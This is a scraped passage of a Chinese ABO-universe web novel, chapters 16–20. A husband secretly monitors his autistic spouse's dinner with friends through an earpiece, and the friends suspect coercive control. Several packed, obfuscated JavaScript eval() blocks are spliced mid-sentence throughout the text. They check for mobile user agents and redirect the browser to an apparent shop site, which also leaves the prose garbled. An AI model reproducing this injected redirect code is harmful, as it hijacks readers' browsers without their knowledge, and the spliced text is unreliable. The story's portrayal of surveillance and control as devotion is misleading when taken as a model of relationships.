庄兆说喜欢约会?在人那么多那么嘈杂,食物也并没有比他做得更好吃的地方? 为什么。 凭什么。 应重明很少在自己身上找原因,但或许他真的并不像想象中那样,完全地了解庄兆。 这个想法太令人抓狂,以至于让他忘记了车该往哪开往哪停。 还是庄兆先发现两人从家门口路过,提醒他,“刚刚经过那栋是我们家吗?” “……” 下车时庄兆看到爸爸妈妈发消息过来,问他是否可以打视频。 他不喜欢突然事件,因此家庭群里每次打视频,都会提前询问他的意见。 现在国内大概是早上七点钟。他觉得父母这个时间就找他,有点奇怪,于是立刻拨回电话。 应重明停好车,看着他站在院子里通完电话,沉默片刻,“我好像要有妹妹了。” 他的父母效率真的挺高。 应重明一怔,然后露出了今晚第一个真心实意的笑容,“你喜欢女孩吗?” “不知道。是他们说的。”庄兆严谨道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687760|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“那就是说,他们喜欢的是女孩。” “嗯,是因为他们已经有了你。如果你是女孩,他们现在就一定想要个弟弟。家长都会希望儿女双全的。”应重明道。“恭喜你宝宝,要当哥哥了。” 庄兆露出很无奈的表情,也回他,“恭喜你要当哥夫了。” 应重明关于儿女双全的解说非常聪明且有必要。因为庄兆哪怕再迟钝,也会因为这个二胎而联想到自己的身世。 他的自闭症往上数好几代都没查到家族病史,属于基因突变。在他到了学龄却无法离开家,正常步入校园的时候,就有人建议过他的父母,不如放弃他,趁年轻再要个孩子。 应重明很不小心地听到了,于是提着棒球棍,爬上那人的汽车,砸碎了前挡风玻璃。 庄兆爬不上去,只好抱着另一只棒球棍,站在旁边眼巴巴羡慕地看着。 他不明白为什么,一个跟他无冤无仇的成年男人,会劝说他的父母放弃他这个小孩。 不过之后男人来一次,他们就会砸一次车,直到他再也不敢来。他们很多年都没再见过那个讨厌的伯伯了。 后来庄兆才知道,父母因此赔了人家三辆车,却都没有骂过他们一回。庄兆很感动,主动跟着网课学习做了一张“爸爸妈妈和我”的手工贺卡。 虽然做工粗糙,且手牵手的大小大三位全是秃头火柴人,但他的父母还是视若珍宝,抱着他大哭了一场。 他很幸运,父母从始至终都没有过放弃他的念头。 因此在他已经成年甚至结婚以后,父母再要这个孩子,他就觉得大概两人是真的想要。哪怕不理解冒着生命危险再生一个孩子有什么意义,接受程度也高了很多。 “等我们下次回国,就能知道性别了。到时候可以给她买一点漂亮的小衣服。” 不知道为什么,应重明看起来也很有些期待,“小孩子长得很快,要多买几套准备。还要多面几个阿姨,必须脾气好有耐心,小孩子刚出生的时候很难带。” 庄兆问,“你好像很了解小孩子?” “以前工作的台球厅,店长也生过一个女儿。”应重明解释,“他一个人养孩子。我当时吃住都在店里,有空也会帮他带。” “是另外的价钱吗?”庄兆很关心他是否得回报。因为他说很难带。 “算是。”应重明笑起来,帮他脱去外套,低头蹭了一下他的鼻尖。 “我经常会在工作的时候帮他带女儿,可以少打一会儿球,算是带薪休息。那小姑娘很有天赋,我把她放在球台上,她自己抓着杆玩,不哭不闹,只知道追球。” 应重明露出怀念的神色,“但只要不玩球,她就很喜欢让我抱。除了亲生父亲,整个店里她最喜欢我。” 庄兆说,“那他们一定会很想念你。” 他被死亡带走时,还没有季明度的年纪大。店长父女知道他的死讯一定也很伤心。 应重明笑了笑,“或许吧。” 如果他们像他一样,重生到另一个世界,或许也会怀念当初相依为命的时光。 但最好还是不要再当Omega了。 17.第 17 章 庄兆举着手等他脱掉套头毛衣,似乎对他从前的生活很感兴趣,又问,“那你还有别的朋友吗?下班以后除了带孩子,都做些什么呢?” “会去别的地方打工。” 应重明觉得十分可爱,脱好以后让他放下胳膊,左右脸两边各亲一遍解馋,“因为我没有社保,做违法的手术需要很多钱,只靠一份工作不够,要攒太久了。所以也没有时间交朋友。” 庄兆怜惜地皱眉,仰起脸,学着他的样子亲他,带着意图明显的安慰。 应重明一点也不介意,你来我往地亲了一会儿,把人抱起来去楼上的卧室。 他不在意庄兆是出于什么样的心理跟他在一起。怜悯也好,施舍也罢,哪怕只是出于无聊,身边需要有一个人承担照顾和陪伴的责任。他都可以接受。 唯一不容动摇的是,这个人必须,且只能是他。 ** “诶,小庄!”周一教学楼走廊,谭乐盈叫住他,笑嘻嘻地跟他打招呼,“早呀小庄~” 周末的四人约会让他们的友谊又上升到了新的阶段。庄兆思索片刻,认为自己并不反感,于是点点头对她说,“早上好,盈盈。” 谭乐盈一愣,瞬间心花怒放,“原来你叫我的名字这么好听!快哉快哉,令人感动。” 庄兆:“快哉快哉。” 两人一起走进教室。赵晋扬闻声而动,凑过来,“听说你们周末去double date?真好啊。所以你不乐意跟我玩,是因为我单身么?” 庄兆依旧没有理会他,冷着脸坐下开始看书。 “对了,我们明度弟弟昨晚回去以后很懊恼来着,说忘记加联系方式了,问我要你的微信。”谭乐盈先来征求他的意见,“我可以给吧?” 庄兆不抗拒,“可以。”他的手机里多少也有些好友,加上以后发部分都不会联系,迄今为止没有人骚扰他。 而且他支持季明度到应重明的项目组去学习。一方面是抑制剂类药物研究未来有很大的前景,另一方面是他们同为Omega,如果有什么特殊情况,可以互相照应。 应重明是一个过于坚强的人。庄兆就曾听说他在期末周顶着三十九度的高烧通宵写论文,因为那时两人不住在一起,还是过了好久才无意之中听他的同学感慨的。 即使是庄兆这样热爱学习的天才,也不赞成这种伤害身体的做法。 更何况,他还亲眼目睹过应重明手划腺体的惊心场面。他认为应重明不够爱惜自己的身体,着实担忧。 未来如果季明度在,即便不能阻止应重明做这些危险的事,起码可以成为他的小小眼线,为他通风报信。 然后他会去好好管教自己的丈夫。 庄兆自认为这份用心有些狡猾,所以心底暗暗发誓,会对他的小眼线友好一些。无论学习还是生活,季明度有不懂的地方他都会知无不言。 “还有你呢。”谭乐盈不知他心里的小九九,忽然对赵晋扬说,“明度打算请你们两个吃饭,感谢那天在图书馆仗义相助。要不要一起约个时间?我把你微信也推给他,你们三个商量嘛。” “……”庄兆没有抬头参与对话,但听到以后嘴角立刻下滑了两个像素点。 Alpha的动态视力显著提升,赵晋扬捕捉到那两个像素点,心情开始愉快,“好啊,我下了课就都有时间。” 等谭乐盈转头去看自己的电脑,他就坐到庄兆身边,故作惆怅地说,“怎么办呢,你越是讨厌我,我越是想来烦你。” “不如你对我态度好一点,要求不高,就像其他同学一样对我笑脸相迎。说不定我很快就没兴趣了,就不再骚挠你了呢?” 他拥有一张阳光帅气的脸,甚至还有酒窝,却能堂而皇之地说出这么不要脸的混账话。 庄兆都怀疑那天在图书馆帮忙叫救护车的人到底是不是他。 人性果然很复杂。 “我不想跟你一起吃饭。”庄兆直白地说。“我看到你会不舒服。” 赵晋扬又不太愉快了,皮笑肉不笑,“这个态度可不行。” 庄兆怀疑自己遭遇了校园霸凌。 这种情况在他刚转来美国读预科时曾发生过。当时也有个同班的男孩喜欢趁应重明不在的空隙,找他说话。 他英语不行,有时候听不懂,但那种语气令人不舒服。应重明知道以后带他去校务处举报,处理未果,就转了学。 他当时站在办公室外,隔着门缝,听应重明和大人据理力争,为他陈情。但那个大叔只是重复地说是他想多了,说他是个过于敏感自卑的中国男孩,或许还有被害妄想症。 应重明非常生气。但他们两个小孩在异国读书,也不好意思把事情闹大,让家长再跑一趟。除了一起转学,没有更好的解决办法。 他难过了一阵子,反思自己是否真的过于敏感。因为对教授,校长一类在校园乌托邦中的职务有天然的好感,却得到如此对待,他的难过里还带着些失望,平日里崇拜的权威没有站在自己这边。 但应重明说,人的感受是最真实的,即使没有任何证据,只要他感受到了,就证明是有发生过,不必因此苛责自己。大人也会犯错。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16690090|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他这才调整心态,重新振作起来。巧合的是,转学的第二年,就听说那位校长因为贪污受贿被人举报进了监狱。 看到新闻时他们正一起吃早餐。应重明似乎并不意外,给吐司片均匀地涂抹花生酱,放进他的餐盘里。“这很好啊,人犯了错,就是应该付出代价的。谁都不例外。” 庄兆眼中燃起复仇的火苗。 他觉得自己很不好惹。如果赵晋扬骚扰他是错的,一定也会付出代价。 迟一些进教室的同学匆匆找到座位,三三两两,都和赵晋扬打了招呼。 他确实是个很好人缘的家伙,甚至不介意把自己的作业给别人看。有同学管他借笔,他毫不犹豫地就给了。 还有同学忘带上课用的教材——庄兆无法理解这种情况怎么可能发生,但是赵晋扬直接坐过去,摊开书让人跟他一起看。 “……” 庄兆感到困惑,在草稿纸上画了两个问号。 在他看来,学习是一件很私人的事情。他在这方面是很小气的。包括但不限于他不愿意把自己的作业给别人抄,借文具倒是勉为其难可以答应,但同看一本书?至今为止他只跟应重明这样做过。 赵晋扬如果是个坏人,怎么会愿意做这样无私的事? 人性果然还是太复杂了! 复仇的小火苗晃动两下,暂时熄灭。 赵晋扬永远也不会知道,这天他差点被学校叫去谈话。 因为不好惹的庄兆决定再多观察一阵子,暂时放过他。 谭乐盈只是顺嘴一提,并没有被委托传话。因此晚些时候,拥有他微信的季明度亲自发出了答谢邀请。 季明度把三个人拉进一个小群里,群聊的名字就叫“ABO”。 【季明度:非常感谢你们的帮助[抱拳][抱拳]】 【季明度:想去哪里吃都可以,米其林餐厅随便选,我家有点小钱】 【季明度:不过周末那家就算了@庄兆,已经去过了,挑一家新的吧】 【赵晋扬:hhh我吃什么都可以,没有忌口】 【赵晋扬:@季明度 我很好约的哦,但是@庄兆很难约,你要多磨一磨他】 【季明度:@庄兆@庄兆】 【季明度:来吧!!我绝对会挑一个比我姐的品味更好的餐厅!!】 庄兆有些为难。 他其实是愿意跟季明度一起吃饭的,但赵晋扬如果在,对他而言就很破坏和睦的氛围。 于是他头脑风暴了一下。 【庄兆:@季明度 可以带家属吗?】 18.第 18 章 季明度只花了零点零一秒就猜到“家属”是谁。 他一点也不愿意跟那个绿茶味的Omega一 起吃饭。虽然没有任何证据,但他就是觉得应重明笑得很恶心,人也很不真诚。信息素一点也不温和美好,没有那种令人想要亲近的吸引力。 绝对不是因为Omega之间的雄竞,或是他居然早早就跟庄兆结婚,才这样觉得。 【季明度:干嘛要带上他啊,难道结婚了就不能单独和朋友吃饭吗?】 【赵晋扬:WTF???谁结婚???@庄兆跟应重明结婚了?你俩玩这么大】 【赵晋扬:什么时候的事啊@庄兆可别说是什么娃娃亲啊】 【赵晋扬:这合法吗我请问呢?你俩结婚的时候成年了吗?】 看来是不可以带家属的。 庄兆自动屏蔽那些问号和无礼的追问,为难地想了一会儿,还是没能做出决定。 【庄兆:@季明度 我需要再考虑一下。】 等上完课回家,他要问问应重明再说。 今天庄兆的课表排得比较满。不过应重明中午如果有时间,通常都会过来找他一起吃饭。 学校食堂的口味差强人意,应重明会带零食给他,饭后再一起去买冰激凌。这是固定项目,尤其是天气好的时候,他们可以在草坪上度过惬意的二十分钟。 在今天的冰激凌时间里,庄兆诉说了季明度的邀约,并毫无保留地表达出期望赴约的倾向。 应重明心中警铃大作,表面上还维持着一贯的不动声色,“宝宝,你喜欢季明度吗?” 庄兆点了点头,确实是有好感的,“他的姐姐和他,就像,温顺的大猫和顽皮的小猫。” 应重明笑起来,“很有趣的形容呢。” 都是恬不知耻的动物。 先是谭乐盈,再是季家姐弟,这回还要加上一个赵晋扬。庄兆身边多余的人像线面一样繁殖起来。 他的庄兆这么乖,单纯又善良,一定是外面的人在耍心机让他为难。应重明真有点想发火了。 但他又从不舍得让庄兆的任何期望落空。 “不如这样吧。我陪着你去,但可以不出现在你们面前。”应重明给出方案,“到时候隔着几百米的距离,你戴着耳机,我们保持通话。依然就像我陪在你身边。” 庄兆恍然:“就像电影里面,执行任务的特工一样!” 庄兆稍加思索,认为这个主意很好。既不会错过跟季明度建立关系的机会,又可以缓解独自出行的焦虑不安。 “没错。”应重明说,“任何时候你想要结束,或者是有人欺负你,只要我一听到就能立刻出现,带你离开。” 他也要看看,那些人究竟是怎么处心积虑,变着法儿地想要把庄兆诱离他的身边。 ** 庄兆同意饭局邀请后,季明度精心挑选了一家日料去吃Omakase。甚至陪姐姐逛街时,给自己从头到脚购入一身新衣。 他积极的作风十足显眼。季丝丝试探地问,“明度,你是不是有点喜欢庄兆?” “谁说的!” “……” 季明度反驳得很刻意,“我只是感谢他。再说来了这么久,我带的衣服早就穿过一遍了,本来就缺新的。” 季丝丝叹了口气。 亲姐弟之间,一个眼神就能看得出情况,上次那顿晚餐不是白吃的。更别提这反应,简直就是欲盖弥彰。 “他已经结婚了,而且跟另一半很恩爱。”她温和地劝告,“我当然不反对你们交朋友,但你心里一定要有界限的。” 庄兆是Beta,老实说她不太担心会发生意外。但她了解弟弟的性格,爱哭爱闹爱发小脾气,又口无遮拦,很容易让人下不来台。 “他才二十岁结什么婚啊!”果然,季明度不满地吐槽,“人生还有一大半,凭什么早早就要被那个人困住。再说又不是结了就不能离,以后的事情谁知道?” “……” “何况你不觉得他们两个恩爱得有点奇怪吗?” 季明度说,“哪有人想跟朋友吃个饭,还要经过另一半的允许才能出门的。我怀疑庄兆被他男朋友控制了,他自己都还不知道。” 季丝丝不由得想到那天餐桌上,他喝一口酒都要问应重明可不可以,一时沉默。 “我又不会去破坏别人的婚姻。但如果他真的被人控制,受到伤害,我肯定不会坐视不管的。谁让他先帮过我。” 季明度摆摆手,“反正爸爸只说让你帮我参考学校,别的事不用你管。” 他们并非一母所生,他也不喜欢季丝丝总把他当个任性的小孩看待。即便他长到二十岁,三十岁,也不会变成那种自私冷漠,事不关己装作不知的大人。 更何况庄兆看起来就是整天专注学习,没什么心眼的人。一看就很好骗。 季明度积极筹备,要靠这一顿饭打听清楚庄兆真实的婚姻情况。如有危机,随时准备拯救失足少男。 另一边,庄兆也做好了独自赴约的准备。 说是独自,其实应重明会开车把他送到餐厅附近,等吃完饭又来接他回家,跟上学也差不多。 但他第一次和应重明一起跟朋友吃饭才过去没几天,第二次就能自己和朋友在外面吃饭,他感觉自己的社交能力有了明显的增长,内心十分满足。 这也让庄兆再次确定,他只是讨厌嘈杂的环境,陌生的人群,但并不排斥和朋友进行社交活动。 人果然是需要一直进步的,每一年都有新的成长,内心才会充实。 去餐厅的路上,他把这份感悟说给应重明听。不过或许是忙着开车,应重明没有像平时一样大肆地肯定他,只是淡淡笑了笑,“是这样啊。” 下车时,应重明亲手把蓝牙耳机给他戴好,拨动耳边的发丝遮住,“记得保持通话。” “嗯。”庄兆问他,“那你要去哪里吃晚餐呢?” “还不知道呢。不过附近应该还有其他不错的餐厅,我打算随便逛逛再做决定。” 应重明压根没打算下车。 他看着庄兆挥手道别,走进餐厅,坐在车里把蓝牙音量调到最大。 背景音没有被完全降噪,他能够听见餐厅里人们交谈的嗡嗡声,尽管很不清晰。服务生很快过来引导客人入 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16708394|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座,接着庄兆的声音响起,“你们好。是我迟到了吗?” 他们在打招呼。 季明度说,“没有呀,是我们两个来得早。你快坐。” “……谢谢。”不知为何,庄兆的语气有些迟疑。 应重明正在思索原因,另一个人的声音恰好为他解释。 “诶,扬哥动作也太快了吧。”季明度说,“今天我请客,拉椅子这种活儿也要跟我抢?” “再怎么说,你也还是个未成年呢。”赵晋扬笑声很装。“论年龄我最大,今天就由我来服务你们,坐下好好聊天吧。” 他凭什么为庄兆拉椅子。还想服务别的? 应重明在车里冷笑。 庄兆没听懂他们在争什么,拿起水杯喝了一口,心里还是有点紧张。 到底是和坐在教室里不一样。没有办法学习,也没有应重明在旁边跟他讲细碎的小话,他的注意力不知道要往哪里放。 他是不会主动参与聊天的。只有被人提问时,才会以回答的形式加入对话。因此如果面临小组讨论,他大多数时候都像个局外人。 恰好季明度是个不让人耳根清净的孩子,阴差阳错地缓解了他的社交焦虑,“小庄哥哥,你喜欢什么口味的冰激凌?有抹茶和桃子可以选。” 庄兆首先确认了一下他是在跟自己说话,然后认真地思考取舍。两种口味各有千秋,他都很喜欢吃。 眼看他一脸慎重,赵晋扬哧地笑了,“有这么难想?都尝一下算了,我那份给你。反正我也不爱吃甜的。” 季明度更是接着撺掇,“看来你很喜欢吃冰激凌,好巧啊我也是!我们点十份二十份都可以,你想吃多少就吃多少。” 庄兆摇头,“不能吃那么多,会肚子疼。” “没关系的!他们这里一份的量很小,两口就吃完了。” 真的吗?庄兆被撺掇得有些心动。他每天吃冰激凌都有定量,还从没有尝试过想吃多少吃多少的叛逆。 “不可以哦,宝宝。”应重明的声音从耳机里传来,“太晚了,吃太多你会不舒服的。” “……” 庄兆差点忘记他还在听,回过神顿时有些心虚。然后故意表现似的提高了声音,严肃道,“我要一份抹茶味的就可以,谢谢你。” “诶?别这么客气。” 季明度托着下巴,笑容狡黠得像只小猫,“你好自律啊,小庄哥哥。怪不得成绩这么优异。我能申到你们学校读书吗?这样我们就是校友了。” 庄兆面无表情地红了耳根。 他其实很喜欢被叫哥哥的。奈何只比应重明大了半岁,哪怕他重申过很多次,应重明都只是一笑置之。 但这也难怪。从小到大,一直都是应重明在照顾他。身为哥哥应该做的事都是应重明在做。 “……哥哥?”耳机里忽然传来一声耐人寻味的轻笑。 庄兆愣住了,面上的绯红迅速扩散,端坐着快要头顶冒烟。 并非是他幻听。应重明抑扬顿挫地重复,咬字格外清晰,“小,庄,哥,哥。” “这个弟弟很会说话呢。不像我,只会管着你。” 19.第 19 章 庄兆轻轻揉了一下发烫的耳朵,心情有些飘飘然。 如果应重明此时在他身边,他们一定已经吻得难舍难分。 正在想入非非时,应重明的笑声又从耳机里传来,“怎么不说话。宝宝,是不是在想什么坏事?” “……” 他悄悄环视四周,怀疑应重明是否也跟了进来。又挺起背,坐得更端正,努力地把注意力往回拉。 幸好餐厅为了做足情调,灯光并不明亮。赵晋扬和季明度没有发现他的异样,聊天聊得挺火热。 经过他的初步判断,赵晋扬今天表现得相对正常,偶尔讲个笑话把孩子逗得哈哈大笑,没有像在教室里那样讲奇怪的话。 “今天世界首例男性Omega怀孕的新闻你们看了吗?”赵晋扬提到,“是澳洲的一家小医院上报的,受孕人是teenager。没有公开具体的身份信息,我猜是为了防止引起舆论动荡,倒推一下,估计那个倒霉的Omega男孩年龄还非常小。” “会比我还小吗?”季明度心有戚戚。 “很有可能。而且大概率不是自愿受孕。” 赵晋扬停顿了一下,似乎是觉得对一个十来岁的小孩说这些有些残忍,“但这毕竟是首例,太有研究价值了,我认为当地会极力地安抚,劝导,给予各种福利待遇,让他留住这个孩子。也不知道算是幸运还是灾难。” 庄兆下意识地望向卡座里唯一的Omega。 季明度沉默片刻,坚决地说,“如果是我,绝对不会要这个孩子。” 虽然他本身也是个gay,爱看点帅哥和小黄漫,但分化成Omega以后,这种无法自主控制发情的感觉实在令人讨厌。 全世界Omega的命运休戚相关。他想到自己未来的学习方向,问庄兆,“是MIT的生科院比较好,还是……应重明那个组更厉害?” 庄兆毫不迟疑地回答,“他们那边做得更好一些。” 进化热潮发生了他才知道,为什么应重明从小就对生物学表现出极大的兴趣。可以说自打重生之后这十几年,一直都在为此做准备。 应重明是他导师的得意门生,现今的研究成果走在世界最前沿,“他的实验室已经做出了Omega用的抑制剂,专门针对发情期信息素过度分泌的问题,这周刚刚投入临床试验。” “真的?!”季明度睁大眼睛,渴求的意味溢于言表。“那你能拿到吗?” 不用应重明在耳机里提醒,庄兆也会拒绝他,“现在第一批次的实验刚开始,药性很不稳定,还不可以随便用。你不要乱想。” 季明度清醒了一些,又自言自语似的问,“那我进入项目组的话,是不是就能第一时间接触到最新的研究成果了?” “理论上是这样。” “好吧……”为了理想,为了命运,他只能接受现实,“小庄哥哥,看来我们有缘无份,当不成校友了。” “不过学校挨得这么近,我以后还是可以经常来找你们玩儿。” 赵晋扬笑道,“这么自信?” “哼哼,我成绩很好的。” “现在人类性征有了ABO这种区分,未来的婚姻结构肯定也会发生变化。” 赵晋扬超绝不经意地把话题引了过来,“你跟应重明真的结婚了?什么时候的事啊。” “嗯。”庄兆把手一举,例行展示婚戒。“今年。” 他的戒指自从上岗,至今全勤,每天都戴在无名指上。只不过大家即便看见,也会当成装饰品,很少有人会往婚戒的方向想。 季明度也很在意这个话题,立刻接话,“那怎么也没发个朋友圈什么的……一点消息都没有啊。” 之所以这么说,是因为他已经观察过庄兆的朋友圈,里面并不是一片空白。庄兆会晒出自己全优的成绩单,和得过菲尔兹奖的教授合照,还有偶然发现的超绝口味冰激凌。 虽然都只发照片没有配文,但看上去他显然是个热爱学习热爱生活且有分享欲的优秀青年。 “我们认为低调一点更好。”庄兆说,“否则就会引发更多像你们这样的震惊反应,会被异样的眼光看待。” “……” 话虽如此。像庄兆这样,名校毕业前途大好,却在二十出头就急着异国领证结婚,很难不让人觉得另有隐情。 赵晋扬问他,“英年早婚的感觉如何?” “很好。”在礼貌的范围内,庄兆不介意分享自己的生活,“一如既往的好。” “听起来你们已经在一起很多年了?” “是的。我们从小就是邻居。” “近水楼台,”季明度小声嘟哝,“可真是占便宜。” “这么说还是青梅竹马了,真难得啊。”赵晋扬似乎很感兴趣,继续问,“那你们是怎么完成身份转变的?从朋友转变成恋人,心路历程应该很复杂吧。” 庄兆怔了怔,似乎没有认真地想过这个问题。 “宝宝,”耳机里传出熟悉的温柔呼唤。“不想回答的问题可以不用理他。” “嗯……” 正如应重明料想中一样,庄兆陷入了卡壳的状态。 由于这个问题不带任何骚扰和调戏的意味,庄兆无法识别出恶意,就本能地想要回答。 但他确实不知道,所谓的心路历程是什么东西。 他和应重明上了床,关系自然就转变了。难道这个什么路什么程是藏在他身体里?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16720402|187060||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “很难讲?” 赵晋扬微微一笑,保持好奇,“那跟我们说说是谁先暗恋谁先表白之类的?或者,应重明跟别人相比有什么特别的地方,值得你下定决心跟他结婚?这个应该可以讲吧。” 季明度又酸又诚实地点头,“我也想听。” “我们……在一起很久了啊。”庄兆茫然道。“从一开始就只有他。我没有想过别人。” 什么是暗恋?什么叫表白? 那些恋爱中的流程对他而言十分陌生。 “我爱他,离开他就无法生活。我们一辈子都要在一起的。所以应该结婚。” 庄兆这样说道。 似曾相识的违和感。季明度又一次觉察到。 他们两个的感情果然有些奇怪。 赵晋扬也皱了下眉,收起笑嘻嘻的态度,“这些话是他告诉你,还是你自己真这么觉得?” “一般而言,如果听到朋友结婚的喜讯,我们震惊之后都会祝福,没有人会用异样的眼光看待你们,除非是发现你们的婚姻有问题。”他中肯地说。 “反推一下,那个认为我们会有异样眼光的人,很可能早就知道你们的婚姻存在问题,才会提前说服你隐瞒。” “……” 应重明的声音从耳机里传来,语气在隐忍中加重,“宝宝,他在说谎。” “就是啊!”季明度也憋不住出声,“小庄哥哥你别怕,我们可以帮你的!你放心地说,是不是有人洗脑你,强迫你结婚?” 像庄兆这样专心学术的人,感情经历单纯,反而容易遭到精神控制。 “没有谁是离开别人就无法生活的!他这样说根本就不是真的爱你,分明是在威胁你不许离开他,用心实在可疑!” “……” “不要听。宝宝,”应重明低声道,“他们在骗你。” 是这样吗?还是那样? 庄兆从未遭遇过这种程度的质询,甚至还是两边三个人同时出声,脑子里一团乱。 他本来就无法处理激烈冲突,这下更是整个精神世界都受到了冲击,急需回避,“……我要回家。” 他用力地咬了一下手指,在疼痛中保持清醒,“我要回家!我要回家……” “好。”应重明听到他情绪不稳定,迅速拉开车门,“不要怕,我马上来接你。” “我要走了。”庄兆蓦地站起身,耳机掉落,滚到一旁。他甚至没有注意,心无旁骛地望着进门的方向。 “啊?别……你没事吧?” 季明度看他脸色不好,赶紧打住话头。见他有东西掉了,不明所以地捡起来一看,瞬间表情也变了。 “他居然还在监听你?!” 20.第 20 章 应重明来得非常快。 他的眼睛好像开了雷达,一进来就往三人所在的位置走,没有半秒钟犹豫,直直地穿过餐厅。 庄兆看到他冷静了些,但由于大脑还处于宕机状态,又不知道该先迈左脚还是先出右脚了,只能僵硬地站在原地。因此是被他扛起来抱走的。 那样子真的很像劫持人质。季明度气得破口大骂,“你干嘛啊?放开他!我会报警的!” 应重明转头看他。轻飘飘的目光,飞过来却仿佛带着刃,顷刻间削去他的音量。 赵晋扬都没站起来,完全旁观的态度,还是被连带着削了一眼。 按理说他是Alpha,天然占据着信息素强势的优势,但他甚至都没有感觉到应重明的信息素存在,就被警告的目光刺得通体发凉。 “先走一步。”应重明说,“祝你们用餐愉快。” 季明度一阵心悸,看着他露出可怕的微笑,张开嘴巴没能说出话。直到两人的身影离开餐厅,才愤愤地扔出那只蓝牙耳机。 “有病!” ** 庄兆比预想中更早地回到了家。 他窝在最喜欢的一张沙发椅里,吃应重明路上买给他的一小盒抹茶冰激淋。应激状态平复得差不多了,但他面无表情地盯着窗户,还是浑身都散发出低落的气息。 “没关系的,宝宝。你第一次独自出门和朋友聚餐,已经表现得很好了。” 应重明握他冰凉的手指,拢在手心里搓了搓,温柔低语,“你不喜欢,下次就不去了,不用勉强自己。” 庄兆在脑海中复盘刚刚混乱的聊天现场,不明白,“他们为什么觉得我是被迫结婚?” 应重明向他提出结婚的建议时,他还是深思熟虑过才做决定的。因为是非常重要的人,他又不擅长处理复杂关系,想了整整一夜。 他不是没有判断力的小孩,不会因为别人的质疑就轻易动摇对应重明的感情。但季明度嚷嚷那么大声,确实会让他想,他是不是结婚结得太仓促了? 因为有应重明的陪伴,他没有上过一天特殊学校,没有缺席过学校的社团活动。无论是否完成得好,他都被鼓励去体验一个青少年应有的完整的人生。 但应重明却要因此做出牺牲,这么早就跟他结婚,什么暗恋啊告白的流程都没有体验过。他不懂的那些事情应重明一定知道,却都和约会一样,为了照顾他的心情而从未提出过要求。 庄兆有些郁闷,还有一点懊悔。 反正他们都会在一起一辈子,结婚早结晚结都是一样的。为什么要这么着急呢。 为什么不等到他再懂一点,等他对这个世界的了解更深刻时,再好好地办一场婚礼纪念? 这个问题的答案庄兆早就知道。 因为应重明担心他,怕他在人多的场合里会有应激反应。依然是在照顾他的感受。 “完全不了解我们的人,当然无法理解我们的感情。”应重明安慰他,“不用把别人的偏见放在心上。” 庄兆还是没有高兴起来,想了半天又说,“今天我表现得不好。” “我应该先自己想一下怎么做,不该那么快叫你进来。我一点也不独立。他们说,没有谁是离开某个人就无法生活的。” 应重明眼神一黯。 庄兆把那两个蠢货的话听进去了。 “宝宝,不是谁都需要独立的。你就不需要。”他跪坐在庄兆面前,拿起他的手轻轻贴在自己脸上,“你想要离开我吗?” 庄兆诚实地摇头,“我从没想过。” “那就好。否则我一定会因为难过心碎而死的。”他笑着说。 “我也会非常非常难过。”庄兆连回应玩笑话也十分严谨,“但是我不知道会不会死。” “……” 有点良心,但不多。 庄兆说,“我只是在想,如果没有你,我的生活会是什么样。” “没有那种如果。我们只需要专注现实,过好眼前的生活。”应重明提醒,“想太多会让人分心,还会影响你的学习效率。” “……啊。”庄兆果然被说服,捏了捏他的脸颊,“你说得对。” “那我们现在上楼去洗个热水澡,好吗?你累坏了,今天要早点睡觉。” 庄兆其实并没有那么累。但他确实需要热水澡和很多很久的拥抱,于是乖乖举起胳膊。 他依赖应重明,却对应重明不够好。他怀疑自己永远也无法像应重明爱他一样,回报给应重明同等的爱。这是他的先天情感缺陷导致的。 但他必须勇敢地面对事实,并且相信自己总有一天,能够找到方法弥补。 因为他是天才。天才就是能做到别人做不到的事。 这晚睡前,庄兆罕见地提出,“我想听爱情故事。” 应 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 